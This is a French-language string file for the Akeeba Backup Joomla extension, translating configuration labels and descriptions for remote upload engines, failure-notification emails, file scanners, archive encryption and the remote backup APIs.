COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DROPBOX2_DESCRIPTION="Téléverse l'archive de sauvegarde vers Dropbox en utilisant l'API Dropbox V2. Cette API est plus rapide et vous permet de connecter facilement votre compte Dropbox à plusieurs sites."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DROPBOX2_TITLE="Téléverser vers Dropbox (API v2)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_EMAIL_DESCRIPTION="Vous envoie l'archive de sauvegarde en pièce jointe d'un e-mail.<br/><strong>N'oubliez pas de définir une taille d'archive fractionnée de 1 à 2 Mo ou vous risquez un échec de sauvegarde dû aux délais d'attente et au manque de mémoire !</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_EMAIL_TITLE="Envoyer par e-mail"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTPCURL_DESCRIPTION="Téléverse l'archive de sauvegarde vers un serveur FTP ou FTPS (FTP sur SSL implicite) distant.<br/>Ce moteur de traitement ultérieur utilise la bibliothèque cURL qui offre une meilleure compatibilité avec une large gamme de serveurs FTP.<br/><strong>N'oubliez pas de définir une taille d'archive fractionnée de 2 à 30 Mo ou vous risquez un échec de sauvegarde dû aux délais d'attente !</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTPCURL_TITLE="Téléverser vers un serveur FTP distant via cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTP_DESCRIPTION="Téléverse l'archive de sauvegarde vers un serveur FTP ou FTPS (FTP sur SSL implicite) distant.<br/><strong>N'oubliez pas de définir une taille d'archive fractionnée de 2 à 30 Mo ou vous risquez un échec de sauvegarde dû aux délais d'attente !</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTP_TITLE="Téléverser vers un serveur FTP distant"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLEDRIVE_DESCRIPTION="Téléverse l'archive de sauvegarde vers Google Drive. Veuillez lire la documentation."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLEDRIVE_TITLE="Téléverser vers Google Drive"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGEJSON_DESCRIPTION="Téléverse l'archive de sauvegarde vers Google Storage en utilisant l'API JSON moderne. C'est l'intégration recommandée avec Google Storage.<br/><strong>N'oubliez pas de définir une taille d'archive fractionnée de 2 à 30 Mo ou vous risquez un échec de sauvegarde dû aux délais d'attente !</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGEJSON_TITLE="Téléverser vers Google Storage (API JSON)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGE_DESCRIPTION="Téléverse l'archive de sauvegarde vers Google Storage en utilisant l'émulation d'API S3 héritée. Cette méthode est obsolète et sera supprimée à l'avenir. Veuillez utiliser l'option API JSON à la place.<br/><strong>N'oubliez pas de définir une taille d'archive fractionnée de 2 à 30 Mo ou vous risquez un échec de sauvegarde dû aux délais d'attente !</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGE_TITLE="Téléverser vers Google Storage (API S3 héritée)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_IDRIVESYNC_DESCRIPTION="Téléverse l'archive de sauvegarde vers iDriveSync EVS (iDriveSync.com).<br/><strong>N'oubliez pas de définir une taille d'archive fractionnée de 2 à 30 Mo ou vous risquez un échec de sauvegarde dû aux délais d'attente !</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_IDRIVESYNC_TITLE="Téléverser vers iDriveSync"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_NONE_DESCRIPTION="Laisse les fichiers d'archive de sauvegarde sur le serveur"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_NONE_TITLE="Aucun traitement ultérieur"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEBUSINESS_DESCRIPTION="Téléverse l'archive de sauvegarde vers Microsoft OneDrive ou Microsoft OneDrive for Business."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEBUSINESS_TITLE="Téléverser vers Microsoft OneDrive ou OneDrive for Business"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVE_DESCRIPTION="Téléverse l'archive de sauvegarde vers Microsoft OneDrive. Cela ne prend en charge que les lecteurs personnels, créés avec votre compte Microsoft personnel. Il ne prend pas en charge OneDrive for Business et les comptes OneDrive créés via un compte scolaire/professionnel ou un abonnement Microsoft Office 365. Cette méthode de téléversement sera SUPPRIMÉE dans une future version d'Akeeba Backup. Utilisez plutôt la méthode Téléverser vers Microsoft OneDrive."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVE_TITLE="Téléverser vers Microsoft OneDrive (ANCIEN)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_OVH_DESCRIPTION="Téléverse l'archive de sauvegarde vers OVH Object Storage. <br/><strong>N'oubliez pas de définir une taille d'archive fractionnée de 2 à 30 Mo ou vous risquez un échec de sauvegarde dû aux délais d'attente !</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_OVH_TITLE="Téléverser vers OVH Object Storage"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_PCLOUD_DESCRIPTION="Téléverse l'archive de sauvegarde vers pCloud. CE MOTEUR DE TRAITEMENT ULTÉRIEUR SERA SUPPRIMÉ. L'AUTHENTIFICATION NE FONCTIONNE PAS EN RAISON DE PROBLÈMES SUR LE SERVEUR API DE pCloud."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_PCLOUD_TITLE="Téléverser vers pCloud (NE PAS UTILISER - SERA SUPPRIMÉ)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_S3_DESCRIPTION="Téléverse l'archive de sauvegarde vers Amazon S3. Il vous permet d'utiliser à la fois la nouvelle authentification (AWS4) requise pour les nouveaux emplacements S3 et l'ancienne authentification (AWS2) requise pour les fournisseurs de stockage tiers offrant une API compatible S3.<br/><strong>Si vous désactivez les téléversements en plusieurs parties, n'oubliez pas de définir une taille d'archive fractionnée de 2 à 30 Mo ou vous risquez un échec de sauvegarde dû aux délais d'attente !</strong><br/>Si vous souhaitez utiliser Amazon STS au lieu d'une clé d'accès et d'une clé secrète, veuillez lire la documentation."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_S3_TITLE="Téléverser vers Amazon S3"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTPCURL_DESCRIPTION="Téléverse l'archive de sauvegarde vers un serveur SFTP (SSH) distant. Il s'agit d'un transfert de fichiers via SSH utilisant un protocole appelé SFTP qui est <em>entièrement différent</em> de FTP et FTPS.<br/>Ce moteur de traitement ultérieur utilise cURL pour le transfert de données, une bibliothèque compatible avec une large gamme de serveurs SFTP.<br/><strong>N'oubliez pas de définir une taille d'archive fractionnée de 2 à 30 Mo ou vous risquez un échec de sauvegarde dû aux délais d'attente !</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTPCURL_TITLE="Téléverser vers un serveur SFTP (SSH) distant via cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTP_DESCRIPTION="Téléverse l'archive de sauvegarde vers un serveur SFTP (SSH) distant. Il s'agit d'un transfert de fichiers via SSH utilisant un protocole appelé SFTP qui est <em>entièrement différent</em> de FTP et FTPS.<br/><strong>N'oubliez pas de définir une taille d'archive fractionnée de 2 à 30 Mo ou vous risquez un échec de sauvegarde dû aux délais d'attente !</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTP_TITLE="Téléverser vers un serveur SFTP (SSH) distant"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SUGARSYNC_DESCRIPTION="Téléverse l'archive de sauvegarde vers SugarSync.<br/><strong>N'oubliez pas de définir une taille d'archive fractionnée de 2 à 30 Mo ou vous risquez un échec de sauvegarde dû aux délais d'attente !</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SUGARSYNC_TITLE="Téléverser vers SugarSync"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SWIFT_DESCRIPTION="Téléverse l'archive de sauvegarde vers n'importe quel serveur de stockage objet OpenStack Swift, par ex. un créé avec la distribution Ubuntu d'OpenStack ou d'autres clouds privés. N'utilisez PAS cette méthode avec RackSpace CloudFiles ! CloudFiles utilise une méthode d'authentification personnalisée incompatible avec le service d'identité Keystone d'OpenStack (que toutes les autres implémentations OpenStack utilisent).<br/><strong>N'oubliez pas de définir une taille d'archive fractionnée de 2 à 30 Mo ou vous risquez un échec de sauvegarde dû aux délais d'attente !</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SWIFT_TITLE="Téléverser vers le stockage objet OpenStack Swift"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_WEBDAV_DESCRIPTION="Téléverse l'archive de sauvegarde vers tout service de stockage prenant en charge le protocole WebDAV.<br/><strong>N'oubliez pas de définir une taille d'archive fractionnée de 2 à 30 Mo ou vous risquez un échec de sauvegarde dû aux délais d'attente !</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_WEBDAV_TITLE="Téléverser via WebDAV"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_LARGE_DESCRIPTION="Un scanner de fichiers optimisé pour la sauvegarde de sites avec des répertoires contenant des centaines de fichiers (par ex. blogs et portails d'actualités)"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_LARGE_TITLE="Large Site Scanner"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_SMART_DESCRIPTION="Équilibre intelligemment la vitesse d'analyse et l'évitement des délais d'attente"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_SMART_TITLE="Scanner intelligent"
COM_AKEEBABACKUP_CONFIG_ERR_DECRYPTION="Impossible de déchiffrer les paramètres. Votre serveur ne prend pas en charge le chiffrement des paramètres ou le fichier de clé de chiffrement a été modifié ou supprimé."
COM_AKEEBABACKUP_CONFIG_EXTENDEDINSERTS_DESCRIPTION="Si coché, le vidage de la base de données sera composé d'instructions INSERT étendues, c'est-à-dire une seule instruction pour restaurer plusieurs lignes de données. Il est fortement recommandé de garder cette option activée car elle accélère le processus de restauration et contourne les limites de quota de requêtes sur les hébergeurs restrictifs."
COM_AKEEBABACKUP_CONFIG_EXTENDEDINSERTS_TITLE="Générer des INSERT étendus"

COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_SEPARATOR="<strong>Vérifier les téléversements échoués</strong>"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILADDRESS_LABEL="Adresse e-mail pour les échecs de téléversement"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILADDRESS_DESC="Envoyer l'e-mail d'échec de téléversement à cette adresse. Laisser vide pour envoyer à tous les super utilisateurs."
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILSUBJECT_LABEL="Objet de l'e-mail d'échec de téléversement"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILSUBJECT_DESC="L'objet des e-mails vous notifiant des téléversements échoués. Laisser vide pour utiliser la valeur par défaut. Vous pouvez utiliser toutes les variables d'Akeeba Backup utilisables pour nommer les fichiers d'archive, par ex. [HOST] et [DATE]"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILBODY_LABEL="Corps de l'e-mail d'échec de téléversement"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILBODY_DESC="Laisser vide pour utiliser la valeur par défaut. Vous pouvez utiliser toutes les variables d'Akeeba Backup utilisables pour nommer les fichiers d'archive, par ex. [HOST] et [DATE]."

COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILADDRESS_DESC="Envoyer un e-mail à cette adresse (laisser vide pour envoyer à tous les super utilisateurs)"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILADDRESS_LABEL="Adresse e-mail"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILBODY_DESC="Laisser vide pour utiliser la valeur par défaut. Vous pouvez utiliser toutes les variables d'Akeeba Backup utilisables pour nommer les fichiers d'archive, par ex. [HOST] et [DATE]."
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILBODY_LABEL="Corps de l'e-mail"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILSUBJECT_DESC="Laisser vide pour utiliser la valeur par défaut. Vous pouvez utiliser toutes les variables d'Akeeba Backup utilisables pour nommer les fichiers d'archive, par ex. [HOST] et [DATE]"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILSUBJECT_LABEL="Objet de l'e-mail"
COM_AKEEBABACKUP_CONFIG_FAILURE_FEBENABLE_DESC="Permet de vérifier les sauvegardes échouées en utilisant une URL de planification frontale. N'oubliez pas d'aller dans Akeeba Backup, de cliquer sur Options, puis sur l'onglet Frontend. Définissez « Activer l'API de sauvegarde frontale héritée (tâches CRON distantes) » sur Oui pour activer cette fonctionnalité."
COM_AKEEBABACKUP_CONFIG_FAILURE_FEBENABLE_LABEL="Vérification des sauvegardes échouées depuis le site public activée"

COM_AKEEBABACKUP_CONFIG_FAILURE_TIMEOUT_DESC="Une sauvegarde sera considérée comme bloquée (échouée) après ce nombre de secondes d'inactivité.<br/>NE TOUCHEZ PAS CETTE VALEUR SAUF SI VOUS SAVEZ CE QUE VOUS FAITES !"
COM_AKEEBABACKUP_CONFIG_FAILURE_TIMEOUT_LABEL="Délai d'attente de sauvegarde bloquée"
COM_AKEEBABACKUP_CONFIG_FEEMAILBODY_DESC="Laisser vide pour utiliser la valeur par défaut. Vous pouvez utiliser toutes les variables d'Akeeba Backup utilisables pour nommer les fichiers d'archive, par ex. [HOST] et [DATE]. Vous pouvez également utiliser [PROFILENUMBER] pour le numéro du profil actuel, [PROFILENAME] pour le nom du profil actuel, [PARTCOUNT] pour le nombre total de parties d'archive de sauvegarde générées, [FILELIST] pour une liste des parties d'archive de sauvegarde et [REMOTESTATUS] pour une indication sur la réussite du téléversement vers le stockage distant."
COM_AKEEBABACKUP_CONFIG_FEEMAILBODY_LABEL="Corps de l'e-mail"
COM_AKEEBABACKUP_CONFIG_FEEMAILSUBJECT_DESC="Laisser vide pour utiliser la valeur par défaut. Vous pouvez utiliser toutes les variables d'Akeeba Backup utilisables pour nommer les fichiers d'archive, par ex. [HOST] et [DATE]"
COM_AKEEBABACKUP_CONFIG_FEEMAILSUBJECT_LABEL="Objet de l'e-mail"
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_DEFAULT="Comportement Joomla! par défaut"
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_DESC="La date et l'heure de la sauvegarde — telles qu'enregistrées dans le nom de fichier, la description par défaut et les e-mails — seront exprimées dans ce fuseau horaire. Cette option affecte toutes les origines de sauvegarde, c'est-à-dire toutes les sauvegardes, quelle que soit la façon dont elles sont effectuées (via Akeeba Backup lui-même, l'API JSON distante, etc.)."
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_LABEL="Fuseau horaire de sauvegarde"
COM_AKEEBABACKUP_CONFIG_FRONTENDEMAIL_DESC="Envoyer un e-mail de notification après avoir effectué une sauvegarde avec la fonctionnalité de sauvegarde frontale (API héritée) ou API JSON."
COM_AKEEBABACKUP_CONFIG_FRONTENDEMAIL_LABEL="E-mail à la fin de la sauvegarde"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_ALWAYS="Toujours"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_DESC="Quand dois-je envoyer l'e-mail à la fin de la sauvegarde ? Toujours signifie à chaque fois qu'une sauvegarde est terminée. Téléversement échoué signifie que l'e-mail n'est envoyé que si la sauvegarde est terminée mais que le téléversement vers le stockage distant n'a pas été effectué avec succès. En cas d'échec de la sauvegarde, aucun e-mail ne peut être envoyé par cette fonctionnalité ; consultez la page Planifier les sauvegardes automatiques pour savoir comment recevoir des e-mails concernant les sauvegardes échouées."
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_FAILEDUPLOAD="Téléversement échoué"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_LABEL="Quand envoyer l'e-mail"
COM_AKEEBABACKUP_CONFIG_FRONTEND_HEADER_DESC="<strong>Ces options s'appliquent uniquement à Akeeba Backup Professional</strong>. Contrôlez les options des fonctionnalités distantes et planifiées pour Akeeba Backup. Pour plus d'informations sur la planification des sauvegardes, veuillez consulter la page d'informations de planification dans Akeeba Backup Professional ou notre documentation."
COM_AKEEBABACKUP_CONFIG_FRONTEND_HEADER_LABEL="Sauvegarde frontale"
COM_AKEEBABACKUP_CONFIG_FTPTEST_BADPREFIX="Vous n'êtes PAS censé ajouter le préfixe ftp:// à votre nom d'hôte FTP. Veuillez supprimer le préfixe ftp:// et réessayer."
COM_AKEEBABACKUP_CONFIG_FTPTEST_NOUPLOAD="Akeeba Backup a pu se connecter à votre serveur, mais il n'a pas pu téléverser un fichier de test. Le téléversement de sauvegarde pourrait échouer."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_ACCESSTOKEN_DESCRIPTION="Rempli automatiquement lorsque vous terminez l'étape d'authentification 1 ci-dessus. Si vous liez un autre site au même compte Google Drive, NE copiez PAS le jeton d'accès et N'exécutez PAS l'authentification. Copiez plutôt le jeton d'actualisation du site précédent vers celui-ci."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_ACCESSTOKEN_TITLE="Jeton d'accès"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_DIRECTORY_DESCRIPTION="Le répertoire dans Google Drive où stocker les archives de sauvegarde. Utilisez des barres obliques directes. Correct : some/thing. Incorrect : some\\thing. Une seule barre oblique signifie que les archives seront stockées à la racine du lecteur. LISEZ LA DOCUMENTATION : Les chemins dans Google Drive sont ambigus !"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_DIRECTORY_TITLE="Répertoire"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_REFRESHTOKEN_TITLE="Jeton d'actualisation"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_REFRESHTEAMDRIVES_TITLE="Recharger la liste des lecteurs"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_DESCRIPTION="Quel Google Drive vous souhaitez utiliser pour stocker vos fichiers. Vous devez terminer l'authentification avant que cette liste soit remplie. Cela n'a de sens que si vous avez accès aux Google Team Drives (par exemple, les utilisateurs de la formule G Suite business ou enterprise). En cas de doute, utilisez l'option « Google Drive (personnel) »."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_OPT_PERSONAL="Google Drive (personnel)"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_TITLE="Lecteur"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_UPLOADTOSHAREDWITHME_TITLE="Téléverser dans les dossiers « Partagés avec moi »"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_UPLOADTOSHAREDWITHME_DESCRIPTION="Lorsque cette option est activée, Akeeba Backup cherchera des dossiers dans la collection « Partagés avec moi » avant de chercher un dossier du même nom dans votre lecteur. C'est beaucoup plus lent et peut entraîner un téléversement dans le mauvais dossier si plusieurs dossiers partagés portant le même nom existent dans votre compte Google Drive."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEACCESSKEY_DESCRIPTION="Votre clé d'accès Google Storage, disponible dans l'outil de gestion des clés Google Cloud Storage (https://code.google.com/apis/console#:storage:legacy)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEACCESSKEY_TITLE="Clé d'accès"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEBUCKET_DESCRIPTION="Le nom de votre compartiment Google Storage. Assurez-vous qu'il est saisi tel qu'indiqué dans l'application web du navigateur Google Cloud Storage (https://sandbox.google.com/storage)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEBUCKET_TITLE="Compartiment"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEDIRECTORY_DESCRIPTION="Le répertoire dans votre compartiment où les archives de sauvegarde seront stockées. Laissez vide pour stocker les fichiers à la racine du compartiment."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEDIRECTORY_TITLE="Répertoire"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEJSON_CREDS_DESC="Collez ici le contenu du fichier d'identifiants JSON que Google Cloud Console a produit lors de la configuration du compte de service pour le logiciel de sauvegarde. N'oubliez pas d'inclure les accolades au début et à la fin du texte."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEJSON_CREDS_TITLE="Contenu de googlestorage.json (lisez la documentation)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGELOWERCASE_DESCRIPTION="Si cette option est activée, Akeeba Backup tentera de convertir le nom du compartiment en lettres minuscules, par exemple MyBucket sera converti en mybucket. Si vous avez créé un compartiment avec des lettres majuscules, par exemple MyNewBucket, décochez cette option et assurez-vous que le nom du compartiment est orthographié exactement comme il apparaît dans votre application web du navigateur Google Cloud Storage (https://sandbox.google.com/storage)."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGELOWERCASE_TITLE="Nom de compartiment en minuscules"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGESECRETKEY_DESCRIPTION="Votre clé secrète Google Storage, disponible dans l'outil de gestion des clés Google Cloud Storage (https://code.google.com/apis/console#:storage:legacy)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGESECRETKEY_TITLE="Clé secrète"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEUSESSL_DESCRIPTION="Si cette option est activée, une connexion sécurisée (HTTPS) sera utilisée lors du téléversement de vos fichiers. Bien que cela augmente la sécurité des données transférées, cela augmente également la possibilité d'échec de la sauvegarde en raison d'un délai d'expiration."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEUSESSL_TITLE="Utiliser SSL"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_COLDLINE="Stockage Coldline"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_DESCRIPTION="Modifiez la classe de stockage des archives de sauvegarde téléversées. « Aucune » signifie que les fichiers seront stockés avec la classe de stockage par défaut spécifiée dans votre compartiment. Veuillez noter que les options autres que Standard peuvent être moins chères à stocker, mais peuvent entraîner des frais supplémentaires si vous les téléchargez ou les supprimez. Veuillez consulter Google pour les informations tarifaires."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_NEARLINE="Stockage Nearline"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_NONE="Aucune (laisser le compartiment décider)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_STANDARD="Stockage Standard"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_TITLE="Classe de stockage"
COM_AKEEBABACKUP_CONFIG_HEADER_BASIC="Configuration de base"
COM_AKEEBABACKUP_CONFIG_HEADER_CONFWIZ="Laisser Akeeba Backup se configurer lui-même ?"
COM_AKEEBABACKUP_CONFIG_HEADER_OPTIONALFILTERS="Filtres optionnels"
COM_AKEEBABACKUP_CONFIG_HEADER_QUOTA="Gestion des quotas"
COM_AKEEBABACKUP_CONFIG_HEADER_TUNING="Réglage fin"
COM_AKEEBABACKUP_CONFIG_INSTALLER_DESCRIPTION="Lors d'une sauvegarde complète du site, Akeeba Backup intègre le script de restauration défini ici dans l'archive. Cela permet de restaurer votre site de zéro, sans avoir à installer votre CMS ou Akeeba Backup, même si votre site ou votre serveur est complètement détruit."
COM_AKEEBABACKUP_CONFIG_INSTALLER_TITLE="Script de restauration intégré"
COM_AKEEBABACKUP_CONFIG_JPS_KEY_DESCRIPTION="Cette clé sera utilisée pour chiffrer le contenu de votre archive. La clé est sensible à la casse, c'est-à-dire que ABC, abc et Abc sont trois mots de passe différents. Conservez une copie du mot de passe dans un endroit sûr ! Si vous le perdez, il n'existe aucun moyen de le récupérer."
COM_AKEEBABACKUP_CONFIG_JPS_KEY_TITLE="Clé de chiffrement"
COM_AKEEBABACKUP_CONFIG_JPS_PBKDF2USESTATICSALT_DESCRIPTION="Lorsque cette option est activée (par défaut), votre mot de passe est étendu en une clé cryptographique utilisée tout au long de l'archive. C'est rapide, mais dans le cas très improbable où un attaquant disposant de ressources importantes parviendrait à rétro-ingénier la clé cryptographique à partir d'un bloc chiffré dans le fichier — sans effectuer une attaque par force brute sur votre mot de passe lui-même — il pourrait alors déchiffrer l'intégralité de l'archive de sauvegarde. Lorsque cette option est désactivée, une clé cryptographique différente sera dérivée de votre mot de passe pour chaque bloc chiffré, ce qui est beaucoup plus lent mais vous protège contre ce type d'attaque, obligeant l'attaquant à effectuer une attaque par force brute sur le mot de passe, ce qui est bien plus lent."
COM_AKEEBABACKUP_CONFIG_JPS_PBKDF2USESTATICSALT_TITLE="Extension de clé à l'échelle de l'archive"
COM_AKEEBABACKUP_CONFIG_JSONAPI_ENABLED_DESC="L'API JSON d'Akeeba Backup vous permet de prendre et de gérer des sauvegardes, ainsi que de gérer les options d'Akeeba Backup à distance. Vous devez activer cette option si vous prévoyez de prendre, de télécharger ou de gérer des sauvegardes, par exemple avec Akeeba Remote CLI, Akeeba UNiTE et des services de planification de sauvegardes."
COM_AKEEBABACKUP_CONFIG_JSONAPI_ENABLED_LABEL="Activer l'API JSON (sauvegarde à distance)"
COM_AKEEBABACKUP_CONFIG_LARGEDIRTHRESHOLD_DESCRIPTION="Lorsqu'un répertoire contient plus de ce nombre de fichiers ou de répertoires, il est considéré comme « grand ». Par conséquent, Akeeba Backup tentera de le re-scanner à l'étape suivante pour éviter les délais d'expiration de sauvegarde. Une valeur trop petite ralentira considérablement la sauvegarde. Augmentez cette valeur — sauf si vous obtenez des erreurs de délai d'expiration — pour accélérer la sauvegarde."
COM_AKEEBABACKUP_CONFIG_LARGEDIRTHRESHOLD_TITLE="Seuil de grand répertoire"
COM_AKEEBABACKUP_CONFIG_LARGEFILE_DESCRIPTION="Les fichiers plus grands que ce seuil seront compressés dans leur propre étape pour éviter tout risque de délai d'expiration. Des valeurs entre 2 et 10 Mo fonctionnent mieux sur la plupart des serveurs."
COM_AKEEBABACKUP_CONFIG_LARGEFILE_TITLE="Seuil de grand fichier"
COM_AKEEBABACKUP_CONFIG_LARGE_DIRTHRESHOLD_DESCRIPTION="Nombre de répertoires à analyser à chaque étape. Paramètre recommandé : 50. Des valeurs plus élevées rendent la sauvegarde marginalement plus rapide, mais augmentent le risque de délai d'expiration."
COM_AKEEBABACKUP_CONFIG_LARGE_DIRTHRESHOLD_TITLE="Taille du lot d'analyse des répertoires"
COM_AKEEBABACKUP_CONFIG_LARGE_FILESTHRESHOLD_DESCRIPTION="Nombre de fichiers à analyser et à compresser à chaque étape. Paramètre recommandé : 100. Des valeurs plus élevées rendent la sauvegarde marginalement plus rapide, mais augmentent le risque de délai d'expiration ou de manque de mémoire."
COM_AKEEBABACKUP_CONFIG_LARGE_FILESTHRESHOLD_TITLE="Taille du lot d'analyse des fichiers"
COM_AKEEBABACKUP_CONFIG_LBL_CONFWIZ_AFTER="Une fois qu'Akeeba Backup a terminé de se configurer, vous pouvez effectuer une sauvegarde ou ajuster manuellement sa configuration."
COM_AKEEBABACKUP_CONFIG_LBL_CONFWIZ_INTRO="Il semble que vous n'ayez pas encore configuré Akeeba Backup. Cliquez sur le bouton Assistant de configuration ci-dessous pour le laisser se configurer lui-même."
COM_AKEEBABACKUP_CONFIG_LEGACYAPI_ENABLED_DESC="L'API de sauvegarde frontale héritée vous permet d'effectuer des sauvegardes planifiées à l'aide d'outils d'accès par URL tels que wget et curl. Vous devez activer cette option si vous prévoyez d'effectuer des sauvegardes avec le serveur CRON de votre hébergeur à l'aide de wget ou curl, ou si vous prévoyez d'utiliser un service CRON tiers tel que WebCRON.org. Dans la mesure du possible, nous recommandons d'utiliser le script CRON CLI natif ou l'API JSON d'Akeeba Backup, car ce sont des options bien plus sécurisées."
COM_AKEEBABACKUP_CONFIG_LEGACYAPI_ENABLED_LABEL="Activer l'API de sauvegarde frontale héritée (tâches CRON à distance)"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_DEBUG="Toutes les informations et le débogage"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_DESCRIPTION="Cette option détermine le niveau de verbosité du journal de sauvegarde."
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_ERROR="Erreurs uniquement"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_INFO="Toutes les informations"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_NONE="Aucun"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_TITLE="Niveau de journalisation"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_WARNING="Erreurs et avertissements"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_ENABLE_DESCRIPTION="Supprime automatiquement les anciennes sauvegardes en fonction du jour où elles ont été effectuées. AVERTISSEMENT : L'ACTIVATION DE CETTE OPTION ENTRAÎNERA L'IGNORANCE DE TOUS LES AUTRES PARAMÈTRES DE QUOTA (NOMBRE ET TAILLE)."
